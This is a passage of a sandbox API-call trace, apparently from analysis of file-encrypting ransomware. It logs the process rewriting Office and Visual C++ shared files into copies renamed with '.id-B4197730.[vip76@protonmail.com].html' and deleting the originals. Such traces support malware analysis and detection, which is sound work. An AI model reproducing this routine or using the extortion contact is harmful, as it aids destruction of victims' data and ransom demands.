	[0082.544] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0082.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.544] lstrlenW (lpString=".jpg") returned 4
	[0082.544] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0082.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.544] lstrlenW (lpString=".doc") returned 4
	[0082.544] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0082.544] lstrlenW (lpString=".docx") returned 5
	[0082.544] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1
	[0082.544] lstrlenW (lpString=".pdf") returned 4
	[0082.544] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0082.544] lstrlenW (lpString=".xls") returned 4
	[0082.544] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0082.544] lstrlenW (lpString=".xlsx") returned 5
	[0082.544] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1
	[0082.544] lstrlenW (lpString=".ppt") returned 4
	[0082.544] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0082.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.544] lstrlenW (lpString=".zip") returned 4
	[0082.544] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0082.544] lstrlenW (lpString=".rar") returned 4
	[0082.544] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0082.544] lstrlenW (lpString=".bz2") returned 4
	[0082.544] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0082.544] lstrlenW (lpString=".7z") returned 3
	[0082.544] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0082.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.544] lstrlenW (lpString=".dbf") returned 4
	[0082.544] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0082.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.544] lstrlenW (lpString=".1cd") returned 4
	[0082.545] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0082.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.545] lstrlenW (lpString=".jpg") returned 4
	[0082.545] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0082.545] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0082.545] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0082.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.545] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=590523) returned 1
	[0082.545] CloseHandle (hObject=0x380) returned 1
	[0082.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20
	[0082.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.546] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.546] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.546] GetLastError () returned 0x0
	[0082.546] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x902bb, lpOverlapped=0x0) returned 1
	[0082.774] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x902c0, lpOverlapped=0x0) returned 1
	[0082.786] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.786] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x104, lpOverlapped=0x0) returned 1
	[0082.787] SetEndOfFile (hFile=0x38c) returned 1
	[0082.787] CloseHandle (hObject=0x38c) returned 1
	[0082.787] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.787] SetEndOfFile (hFile=0x380) returned 1
	[0082.831] CloseHandle (hObject=0x380) returned 1
	[0082.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0082.832] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1
	[0082.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.832] lstrlenW (lpString=".doc") returned 4
	[0082.832] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0082.832] lstrlenW (lpString=".docx") returned 5
	[0082.832] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0082.832] lstrlenW (lpString=".pdf") returned 4
	[0082.832] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0082.832] lstrlenW (lpString=".xls") returned 4
	[0082.832] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0082.832] lstrlenW (lpString=".xlsx") returned 5
	[0082.832] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0082.832] lstrlenW (lpString=".ppt") returned 4
	[0082.832] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0082.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.832] lstrlenW (lpString=".zip") returned 4
	[0082.832] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0082.832] lstrlenW (lpString=".rar") returned 4
	[0082.832] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString=".bz2") returned 4
	[0082.833] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString=".7z") returned 3
	[0082.833] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.833] lstrlenW (lpString=".dbf") returned 4
	[0082.833] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.833] lstrlenW (lpString=".1cd") returned 4
	[0082.833] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.833] lstrlenW (lpString=".jpg") returned 4
	[0082.833] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.833] lstrlenW (lpString=".doc") returned 4
	[0082.833] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString=".docx") returned 5
	[0082.833] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0082.833] lstrlenW (lpString=".pdf") returned 4
	[0082.833] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString=".xls") returned 4
	[0082.833] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString=".xlsx") returned 5
	[0082.833] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0082.833] lstrlenW (lpString=".ppt") returned 4
	[0082.833] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.833] lstrlenW (lpString=".zip") returned 4
	[0082.833] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0082.833] lstrlenW (lpString=".rar") returned 4
	[0082.834] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0082.834] lstrlenW (lpString=".bz2") returned 4
	[0082.834] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0082.834] lstrlenW (lpString=".7z") returned 3
	[0082.834] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0082.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.834] lstrlenW (lpString=".dbf") returned 4
	[0082.834] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0082.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.834] lstrlenW (lpString=".1cd") returned 4
	[0082.834] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0082.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0082.834] lstrlenW (lpString=".jpg") returned 4
	[0082.834] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0082.834] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0082.834] lstrlenW (lpString="msdia90.dll") returned 11
	[0082.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.835] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=855376) returned 1
	[0082.835] CloseHandle (hObject=0x380) returned 1
	[0082.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20
	[0082.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.835] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.835] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0082.842] GetLastError () returned 0x0
	[0082.843] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0xd0d50, lpOverlapped=0x0) returned 1
	[0082.875] WriteFile (in: hFile=0x36c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xd0d60, lpOverlapped=0x0) returned 1
	[0082.890] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.890] WriteFile (in: hFile=0x36c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xea, lpOverlapped=0x0) returned 1
	[0082.890] SetEndOfFile (hFile=0x36c) returned 1
	[0082.890] CloseHandle (hObject=0x36c) returned 1
	[0082.890] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.890] SetEndOfFile (hFile=0x380) returned 1
	[0082.898] CloseHandle (hObject=0x380) returned 1
	[0082.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0082.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1
	[0082.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.898] lstrlenW (lpString=".doc") returned 4
	[0082.898] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0082.898] lstrlenW (lpString=".docx") returned 5
	[0082.898] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0082.898] lstrlenW (lpString=".pdf") returned 4
	[0082.898] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0082.898] lstrlenW (lpString=".xls") returned 4
	[0082.898] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0082.898] lstrlenW (lpString=".xlsx") returned 5
	[0082.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0082.899] lstrlenW (lpString=".ppt") returned 4
	[0082.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0082.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.899] lstrlenW (lpString=".zip") returned 4
	[0082.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0082.899] lstrlenW (lpString=".rar") returned 4
	[0082.899] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0082.899] lstrlenW (lpString=".bz2") returned 4
	[0082.899] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0082.899] lstrlenW (lpString=".7z") returned 3
	[0082.899] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0082.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.899] lstrlenW (lpString=".dbf") returned 4
	[0082.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0082.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.899] lstrlenW (lpString=".1cd") returned 4
	[0082.899] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0082.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.899] lstrlenW (lpString=".jpg") returned 4
	[0082.899] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0082.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.899] lstrlenW (lpString=".doc") returned 4
	[0082.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0082.899] lstrlenW (lpString=".docx") returned 5
	[0082.899] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0082.899] lstrlenW (lpString=".pdf") returned 4
	[0082.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0082.899] lstrlenW (lpString=".xls") returned 4
	[0082.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0082.899] lstrlenW (lpString=".xlsx") returned 5
	[0082.899] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0082.900] lstrlenW (lpString=".ppt") returned 4
	[0082.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0082.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.900] lstrlenW (lpString=".zip") returned 4
	[0082.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0082.900] lstrlenW (lpString=".rar") returned 4
	[0082.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0082.900] lstrlenW (lpString=".bz2") returned 4
	[0082.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0082.900] lstrlenW (lpString=".7z") returned 3
	[0082.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0082.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.900] lstrlenW (lpString=".dbf") returned 4
	[0082.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0082.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.900] lstrlenW (lpString=".1cd") returned 4
	[0082.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0082.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0082.900] lstrlenW (lpString=".jpg") returned 4
	[0082.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0082.900] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0082.900] lstrlenW (lpString="VGX.dll") returned 7
	[0082.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.199] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=987136) returned 1
	[0083.199] CloseHandle (hObject=0x388) returned 1
	[0083.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20
	[0083.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.199] lstrlenW (lpString=".doc") returned 4
	[0083.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.199] lstrlenW (lpString=".docx") returned 5
	[0083.200] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0083.200] lstrlenW (lpString=".pdf") returned 4
	[0083.200] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.200] lstrlenW (lpString=".xls") returned 4
	[0083.200] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.200] lstrlenW (lpString=".xlsx") returned 5
	[0083.200] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0083.200] lstrlenW (lpString=".ppt") returned 4
	[0083.200] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.200] lstrlenW (lpString=".zip") returned 4
	[0083.200] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.200] lstrlenW (lpString=".rar") returned 4
	[0083.200] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.200] lstrlenW (lpString=".bz2") returned 4
	[0083.200] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.200] lstrlenW (lpString=".7z") returned 3
	[0083.200] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.200] lstrlenW (lpString=".dbf") returned 4
	[0083.200] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.200] lstrlenW (lpString=".1cd") returned 4
	[0083.200] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.200] lstrlenW (lpString=".jpg") returned 4
	[0083.200] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.200] lstrlenW (lpString=".doc") returned 4
	[0083.200] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.200] lstrlenW (lpString=".docx") returned 5
	[0083.201] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0083.201] lstrlenW (lpString=".pdf") returned 4
	[0083.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.201] lstrlenW (lpString=".xls") returned 4
	[0083.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.201] lstrlenW (lpString=".xlsx") returned 5
	[0083.201] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0083.201] lstrlenW (lpString=".ppt") returned 4
	[0083.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.201] lstrlenW (lpString=".zip") returned 4
	[0083.201] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.201] lstrlenW (lpString=".rar") returned 4
	[0083.201] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.201] lstrlenW (lpString=".bz2") returned 4
	[0083.201] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.201] lstrlenW (lpString=".7z") returned 3
	[0083.201] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.201] lstrlenW (lpString=".dbf") returned 4
	[0083.201] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.201] lstrlenW (lpString=".1cd") returned 4
	[0083.201] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0083.201] lstrlenW (lpString=".jpg") returned 4
	[0083.201] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.201] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.201] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16
